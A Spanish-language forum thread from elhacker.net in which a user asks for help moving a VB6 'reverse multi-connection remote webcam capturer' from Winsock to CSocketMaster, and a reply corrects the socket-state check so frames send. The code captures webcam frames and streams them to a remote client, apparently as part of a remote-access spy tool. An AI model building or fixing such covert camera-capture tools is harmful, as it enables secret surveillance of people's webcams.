elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [DUDA]pasando el winsock a Csoket master en capturador de cam remoto
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [DUDA]pasando el winsock a Csoket master en capturador de cam remoto  (Leído 1,520 veces)
borjoide

Desconectado Desconectado

Mensajes: 11


Ver Perfil
[DUDA]pasando el winsock a Csoket master en capturador de cam remoto
« en: 4 Enero 2012, 02:05 am »

Buenas pues despues de muchos muchos muchos intentos intentando hacer funcionar el code usando Csocketmaster no e tenido mas remedio que acudir a vosotros estoi haciendo un capturador de cam multiconexion inverso el cliente recibe bien y conecta al pelo y la primera parte del servidor que la que se encarga de buscar al cliente tambien,inculuso esa e llegado a pasarla a Csocketmaster pero la segunda parte que es la que se encarga de capturar la pantalla y mandarlo no consigo pasarlo a Csocketmaster sin k me de el dichoso error:  Runtime 40006 Protocol.......

Este es el code original sin Csokectmaster k funciona sin problemas

Código:
Dim Imagen() As Byte

Dim Ip as string,port as string


Private Sub Form_Load()
ip = "127.0.0.1
port = 554
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer1.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock1.SendData Imagen
Winsock1.SendData "Fin"
End Sub


End Sub



y este es el code k intento usar con Csoketmaster k ya no se ni como ponerlo :S

Código:
Dim Imagen() As Byte
Dim WithEvents dios As CSocketMaster
Dim ip As String, port As String

Private Sub Form_Load()
ip = "127.0.0.1"
port = 544
On Error Resume Next

mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, Connect, 0, 0
Timer1.Enabled = True
Command1.Caption = "Desconectar"
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
dios.CloseSck
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\Archivo de programa\temporal.bmp"
Dim Tamaño As Long
Open "c:\Archivos de programa\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
If dios.State <> 7 Then
dios.SendData Imagen
dios.SendData "Fin"
Else
MsgBox ("no ESTAS conectado")
End If
End Sub



Private Sub Timer3_Timer()
dios.Connect ip, port
Timer3.Enabled = False


End Sub

Private Sub Timer4_Timer()
Set dios = New CSocketMaster
Timer3.Enabled = True
Timer4.Enabled = False
End Sub

meda siempre el dichoso error  Runtime Error 40006 :S

se que es porque se manda un SendData antes de establecer la conexion con el puerto pero no se como ponerlo para que conecte y mande las imagenes a mi cliente
si necesitan ver el code del cliente diganmelo pero no es necesario creo yo

Muchas gracias de antemano  :P :P :P


En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: [DUDA]pasando el winsock a Csoket master en capturador de cam remoto
« Respuesta #1 en: 4 Enero 2012, 19:59 pm »

corrige este trozo:

Código
  1.  
  2. If dios.State <> 7 Then
  3. dios.SendData Imagen
  4. dios.SendData "Fin"
  5. Else
  6. MsgBox ("no ESTAS conectado")
  7. End If
  8.  
  9.  

por este otro:

Código
  1.  
  2. If dios.State = 7 Then
  3.    dios.SendData Imagen
  4.    dios.SendData "Fin"
  5. Else
  6.    MsgBox ("no ESTAS conectado")
  7. End If
  8.  
  9.  

Esta es la lista de estados:

Código
  1.  
  2. typedef enum sckState
  3. {
  4.    SCKCLOSED                   = 0,    /** Socket Cerrado completamente **/
  5.    SCKOPEN                     = 1,    /** Socket actualmente Abierto **/
  6.    SCKLISTENING                = 2,    /** Socket a la escucha de una conexion entrante **/
  7.    SCKCONNECTIONPENDING        = 3,    /** Estado de conexxion pendiente del Socket **/
  8.    SCKRESOLVINGHOST            = 4,    /** Se esta resolviendo los datos del equipo Host **/
  9.    SCKHOSTRESOLVED             = 5,    /** Estado donde se indica que los Datos del otro Punto han sido completados **/
  10.    SCKCONNECTING               = 6,    /** Se esta realizando una conexión **/
  11.    SCKCONNECTED                = 7,    /** El Socket esta actualmente conectado **/
  12.    SCKCLOSING                  = 8,    /** El Socket se esta cerrando actualmente **/
  13.    SCKERROR                    = 9,    /** Estado que informa de un Error en el la clase **/
  14. } SCKSTATES;
  15.  
  16.  

NOTAS:
* timer1 deberias de activarlo en el evento connect.
* Tanto el OCX de Winsock como CSocketMaster SON IDENTICOS!¡, en la unica cosa que difieren en en que el OCX tiene "close" y el CSocketMaster tiene "closesck", de hay en fuera ambos se manejan de la misma manera.

Dulces Lunas!¡.


En línea

The Dark Shadow is my passion.
borjoide

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: [DUDA]pasando el winsock a Csoket master en capturador de cam remoto
« Respuesta #2 en: 4 Enero 2012, 23:32 pm »

Muchas gracias voi a provar :)
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda sobre capturador SnagIt v.7.2
Multimedia
^Sephiroth^ 6 1,805 Último mensaje 25 Febrero 2005, 06:31 am
por Songoku
Duda winsock
Programación Visual Basic
icisneros 2 984 Último mensaje 1 Diciembre 2005, 21:38 pm
por icisneros
Duda: Capturador de tramas
Seguridad
macetilla 0 1,505 Último mensaje 6 Julio 2010, 12:59 pm
por macetilla
Duda Master Seguridad
Foro Libre
gonndo93 0 1,072 Último mensaje 29 Junio 2017, 16:20 pm
por gonndo93
Duda acceso a un servidor (ejercicio master)
Hacking
Gsusseppe84 1 1,567 Último mensaje 31 Agosto 2017, 02:34 am
por nightcode
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines